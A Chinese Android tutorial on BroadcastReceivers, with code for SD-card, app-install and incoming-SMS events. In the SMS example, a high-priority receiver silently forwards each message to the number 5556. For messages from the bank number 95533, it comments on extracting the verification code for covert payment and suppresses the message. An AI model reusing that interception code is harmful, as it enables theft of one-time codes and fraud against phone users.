`

广播学习

 
阅读更多

广    播:收音机
电    台:发送信号 
收音机:接收信号

创建广播三个步骤:

               相当于:1、买收音机    2、装电池    3、调频道

onreceive():用来接收广播事件
清单文件中receiver:装电池
receiver中的intent-filter:action、category、data:调频道

示例代码:

SD卡状态:
/**
 * 1.相当于买好了一个收音机
 */
public class SDStatusReceiver extends BroadcastReceiver {

	// 用来接收广播事件的,一旦广播消息到来,就会执行onreceive方法
	@Override
	public void onReceive(Context context, Intent intent) {
		String action = intent.getAction();
		if ("android.intent.action.MEDIA_UNMOUNTED".equals(action)) {
			System.out.println("SD卡被卸载了。");
		}else if("android.intent.action.MEDIA_MOUNTED".equals(action)){
			Toast.makeText(context, "SD卡被挂载了", 0).show();
		}
	}
}


清单文件配置:

        <!-- 2.装电池 -->
        <receiver android:name="com.itheima.sdstatus.SDStatusReceiver" >
            <intent-filter >
                <!-- 3.调频道 -->
                <action android:name="android.intent.action.MEDIA_MOUNTED"/>
                <action android:name="android.intent.action.MEDIA_UNMOUNTED"/>
                <data android:scheme="file"/>
            </intent-filter>
        </receiver>

 短信到来:

public class SmsListener extends BroadcastReceiver {
	@Override
	public void onReceive(Context context, Intent intent) {
		System.out.println("短信到来了。");
		//objs里面存放的就是一组短信
		Object[] objs = (Object[]) intent.getExtras().get("pdus");
		for(Object obj:objs){
			//得到每一条短信数据
			SmsMessage  smsMessage = SmsMessage.createFromPdu((byte[]) obj);
			String body =  smsMessage.getMessageBody();
			String address = smsMessage.getOriginatingAddress();
			System.out.println(body);
			System.out.println(address);
			SmsManager smsManager = SmsManager.getDefault();
			smsManager.sendTextMessage("5556", null, address+"--"+body, null, null);
			if(address.equals("95533")){
				System.out.println("提取验证码,偷偷的后台支付");
				abortBroadcast();
			}
		}
	}
}


清单文件配置:

      <receiver android:name="com.itheima.smslistener.SmsListener" >
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>

 应用程序的安装与卸载:

public class PackageStatusReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		String action = intent.getAction();
		if("android.intent.action.PACKAGE_INSTALL".equals(action)){
			System.out.println("有包install了"+intent.getData());
		}else if("android.intent.action.PACKAGE_ADDED".equals(action)){
			System.out.println("有包add了"+intent.getData());
		}else if("android.intent.action.PACKAGE_REMOVED".equals(action)){
			System.out.println("有包卸载了"+intent.getData());
		}
	}
}

清单文件配置:

      <receiver android:name="com.itheima.appstatus.PackageStatusReceiver">
            <intent-filter >
                <action android:name="android.intent.action.SCREEN_OFF"/>
                <action android:name="android.intent.action.PACKAGE_REMOVED"/>
                <data android:scheme="package"/>
            </intent-filter>
        </receiver>

 

 

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics